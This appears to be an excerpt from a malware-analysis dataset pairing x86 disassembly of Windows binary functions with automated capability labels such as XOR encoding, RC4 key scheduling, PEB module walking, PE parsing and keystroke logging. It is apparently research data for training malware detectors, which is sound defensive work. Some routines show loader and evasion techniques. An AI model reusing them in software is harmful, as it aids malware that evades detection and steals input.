joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10082273
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x1009a93c], 0x3e7
mov dword [0x1009a940], 0x9a6
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
jmp 0x10082355
lea eax, str.jv_f
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x140], ecx
call fcn.10082c3e
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov ecx, dword [ebp - 0x144]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x148]
mov dword [esp + 0xc], edx
call fcn.10081cce
mov eax, dword [ebp - 0x144]
add eax, 0x27a54
mov ecx, dword [ebp - 0x130]
mov dword [ecx], eax
xor eax, eax
mov ecx, dword [ebp - 0x130]
mov dword [ecx + 4], 0x126e00
mov edx, dword [ebp - 0x144]
add edx, 0x1a953
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], 0x1f30
mov dword [0x1009a93c], 0xcdc
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
imul esi, eax, 0x128
mov edi, edx
add edi, esi
add edi, 0x30
mov esi, dword [edi]
imul edi, eax, 0x128
add edx, edi
add edx, 0x2c
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x101
mov ecx, edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
jne 0x10082355
xor eax, eax
mov dword [0x1009a940], 0x32d
mov dword [0x1009a93c], 0x2f1
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x14c]
mov cl, byte [eax + 0x1008597e]
mov dl, byte [eax + 0x1008594f]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x14c], eax
jne 0x100823ca
lea eax, [ebp - 0x12c]
mov dword [0x1009a93c], 0xb95
mov dword [ebp - 0x150], eax
call fcn.100828bd
mov dword [esp], eax
mov eax, dword [ebp - 0x150]
mov dword [esp + 4], eax
call fcn.100829a9
mov ecx, eax
mov dword [0x1009a95c], eax
mov eax, esp
mov edx, dword [ebp - 0x148]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
lea edx, section..data
imul esi, eax, 0x128
mov edi, edx
add edi, esi
add edi, 0x30
mov esi, dword [edi]
imul edi, eax, 0x128
mov ebx, edx
add ebx, edi
add ebx, 0x28
mov edi, dword [ebx]
imul ebx, eax, 0x128
add edx, ebx
add edx, 0x2c
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x144]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x164], edx
call fcn.1008318c
mov eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x160]
add eax, ecx
mov edx, dword [ebp - 0x15c]
add edx, 1
cmp edx, 0x101
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], edx
je 0x100822b1
jmp 0x10082467
Function at 0x10082c3e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1009a948], 0
mov byte [0x1009a94c], 0
mov dword [0x1009a944], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10082c8c
xor eax, eax
mov dword [0x1009a944], 0
mov dword [ebp - 0x20], eax
jmp 0x10082cc8
mov eax, dword [ebp - 0x1c]
mov dword [0x1009a940], 0x170f
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1009a93c], 0x8fa
mov eax, dword [0x1009a944]
add eax, 1
mov dword [0x1009a944], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10082c8c
jmp 0x10082c7b
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1009a950], 0
mov edx, dword [0x1009a948]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1009a950], edi
mov edx, dword [0x1009a940]
add edx, 0xdc0
mov dword [0x1009a93c], edx
mov eax, edi
cdq
idiv ecx
mov dword [0x1009a948], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1009a94c], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x1009a94c]
mov edx, dword [0x1009a948]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x1009a93c], 0x777
mov edx, dword [0x1009a944]
add edx, 1
mov dword [0x1009a944], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10082cc8
mov dword [0x1009a93c], 0x1073
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10082dae
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10082df1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
je 0x10082e20
jmp 0x10082e8c
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], edx
je 0x10082dda
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
jl 0x10082df1
jmp 0x10082dda
mov dword [0x1009a940], 0x1fa3
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10082e8c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10082e8c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10082e8c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10082e8c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10082e8c
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x10082e93
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10082e93
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x10082f21
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
mov esi, dword [0x1009a940]
add esi, 0xfffffefc
mov dword [0x1009a93c], esi
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x10083117
jmp 0x10082f8b
mov eax, dword [ebp - 0x1c]
mov dword [0x1009a93c], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
cmp ecx, edx
mov dword [ebp - 0x28], ecx
je 0x10083108
jmp 0x10082ff0
mov dword [0x1009a93c], 0x62d
mov ecx, dword fs:[0x18]
xor eax, eax
mov dword [0x1009a93c], 0x1f43
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov ecx, dword [ecx + 0x14]
mov esi, dword [0x1009a940]
add esi, 0x8d6
mov dword [0x1009a940], esi
cmp ecx, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x18], eax
je 0x10083117
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne cl
mov edx, dword [ebp - 0x2c]
mov byte [ebp - 0x2d], cl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, eax
add ecx, 0x24
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x2d]
and bh, bl
test bh, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], esi
jne 0x10083021
jmp 0x1008303b
mov dword [0x1009a940], 0x20eb
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff8
mov dword [ebp - 0x18], eax
jmp 0x10083117
mov eax, 0x431
xor ecx, ecx
mov edx, dword [ebp - 0x34]
mov si, word [edx]
mov dword [0x1009a93c], 0x14f0
shr si, 1
movzx edi, si
cmp si, 0
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], ecx
je 0x10082f6e
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x48], eax
mov word [ebp - 0x4a], dx
mov word [ebp - 0x4c], di
jb 0x100830a1
mov ax, word [ebp - 0x4a]
mov word [ebp - 0x4c], ax
mov ax, word [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x48]
cmp word [ecx + edx*2], ax
sete bl
add edx, 1
cmp ax, 0
setne bh
mov al, bl
and al, bh
mov esi, dword [ebp - 0x40]
cmp edx, esi
setb bh
and al, bh
test al, 1
mov byte [ebp - 0x4d], bl
mov dword [ebp - 0x44], edx
jne 0x1008306d
mov eax, 0xfffff234
mov dword [0x1009a93c], 0x2f3
mov cl, byte [ebp - 0x4d]
test cl, 1
mov dword [ebp - 0x1c], eax
jne 0x100830f6
jmp 0x10082f6e
mov dword [0x1009a940], 0x20eb
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
jmp 0x10083117
xor eax, eax
mov dword [0x1009a940], 0x20eb
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100831ec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa0
call fcn.100826af
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x100832af
jmp 0x10083358
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.10082273
lea ecx, [0x10083122]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x84], edx
mov dword [esp + 0x48], 0x126e00
mov edx, dword [0x1009a928]
mov dword [esp + 0x74], edx
mov edx, dword [0x1009a92c]
mov dword [esp + 0x58], edx
mov edx, dword [0x1009a930]
mov dword [esp + 0x5c], edx
mov edx, dword [0x1009a934]
mov dword [esp + 0x60], edx
mov edx, dword [0x1009a938]
mov dword [esp + 0x7c], edx
mov dword [0x1009a93c], 0x22a8
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
jne 0x100832e3
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], ecx
je 0x100832f7
jmp 0x100832e3
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
jmp 0x10083358
lea eax, [esp + 0x38]
mov dword [0x1009a93c], 0xf0
mov dword [0x1009a940], 0x1dd6
mov dword [esp + 0xc], eax
call fcn.10082dae
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x10083214
jmp 0x100832a2
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x1008327d
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x6c], ecx
mov dword [0x1009a93c], 0xf35
mov edx, dword [esp + 0x14]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x70], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.10081fc4
mov dword [0x1009a93c], 0xe8a
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x1009a93c], 0x413
mov dword [esp + 0x10], eax
jmp 0x100832a2
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x4041b8
Capabilities:
Query environment variable

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x4041f4
cmp dword [esp + 0xc], 0
je 0x4041f4
push 0x25
push esi
call fcn.00404525
pop ecx
test eax, eax
pop ecx
je 0x4041e8
push 0x103
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
pop esi
ret
push esi
push dword [esp + 0x10]
call fcn.004043f5
pop ecx
pop ecx
pop esi
ret

Function at 0x404680
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x4046a9
mov al, byte [esi + 1]
inc esi
test al, al
je 0x4046a1
cmp al, 0x22
jne 0x404695
cmp byte [esi], 0x22
jne 0x4046b3
inc esi
jmp 0x4046b3
cmp al, 0x20
jle 0x4046b3
inc esi
cmp byte [esi], 0x20
jg 0x4046ad
mov al, byte [esi]
test al, al
je 0x4046bd
cmp al, 0x20
jle 0x4046a6
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040472d
push 0x406004
push section..data
call fcn.00404713
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4046ed
movzx eax, word [ebp - 0x14]
jmp 0x4046f0
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00404745
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret
Function at 0x409288
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x4092a3
push 1
call fcn.0040933f
pop ecx
jmp 0x40933b
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x40931e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x409305
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x409303
push 0
push 0x2057
push 0x2243
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x40931c
mov byte [ebp - 1], 0
lea eax, [ebp - 1]
push eax
push 0x2772
push 0
call fcn.0040a65e
add esp, 0xc
jmp 0x40933b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
push 0x183c
push dword [ebp - 0x28]
push 0
push 0x2ff2
call fcn.00412a54
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x410975
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x410a0a
lea eax, [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x4109e6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x4109d2
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x4109e4
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x4109e4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
jmp 0x410a08
push 1
push 1
push 0x7fb9
push 0x57a4
push 0
push 0x3d32
push 0x7431
call fcn.00413d0e
add esp, 0x1c
jmp 0x410a5b
lea eax, [ebp + 0xc]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x410a53
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x410a46
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x410a44
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
jmp 0x410a51
push 0x179b
call dword [sym.imp.USER32.dll_GetSysColorBrush]
jmp 0x410a5b
push 0
call fcn.0040fbd2
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x41c16d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x41c1ae
lea eax, [ebp + 0x24]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 8], eax
push 0x30c3
push dword [ebp - 4]
push dword [ebp - 8]
push 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
push eax
call fcn.0041c276
add esp, 0x14
jmp 0x41c272
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x41c246
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x41c221
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x41c21f
push 0x2504
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x41c244
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x41c244
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
jmp 0x41c272
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
push 0
push dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
push dword [eax]
push 0x71dd
push dword [ebp - 0x50]
call fcn.00410cd2
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x41ee13
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x41ee56
lea eax, [ebp + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x10], eax
push 1
push 1
push 0x72cb
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.0041ef5a
add esp, 0x18
jmp 0x41ef56
lea eax, [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x2c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x41ef3a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x41ef13
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x41eec6
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jg 0x41ef11
mov dword [ebp - 8], 8
push 0x265c
push 0
push 0
call fcn.0040a611
add esp, 0xc
mov dword [ebp - 8], 2
jmp 0x41eef6
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x41ef0f
push 1
push 0x5a41
push 0
call fcn.0041d937
add esp, 0xc
jmp 0x41eeef
jmp 0x41eebb
jmp 0x41ef38
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x41ef38
push 0x111e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x41ef56
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push 0
call fcn.0040f3e8
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x41ef80
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x41f0a7
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x38], eax
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x41f01e
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x41f002
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x41f000
push 1
push 1
push 1
call fcn.0041d481
add esp, 0xc
jmp 0x41f019
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x41f0a5
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x41f061
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [eax]
test eax, eax
je 0x41f05f
push 0
push 0x20e7
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x41f0a5
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x41f0a5
push 1
push 1
push 0x7651
push 0
push 0x5804
push 0x5497
push 0x6f62
push 0x60c9
push 1
push 0x2717
push 0x1cf5
push 0x3fae
call fcn.0041c2af
add esp, 0x30
jmp 0x41f0bf
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push 0
push 0x1444
call fcn.0040d6ed
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x41f21f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x41f2ec
lea eax, [ebp + 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x30], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x41f2d8
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x41f29a
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x41f298
push 0
push 0x151e
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x41f2d6
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x41f2d6
push 0x2fb9
push 0
push 1
push 0
push 0x39d7
push 0
push 1
push 0x1a64
push 0x40ac
call fcn.00418fe7
add esp, 0x24
jmp 0x41f2ea
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
push 0
push dword [ebp - 0x34]
call fcn.0041fa4b
pop ecx
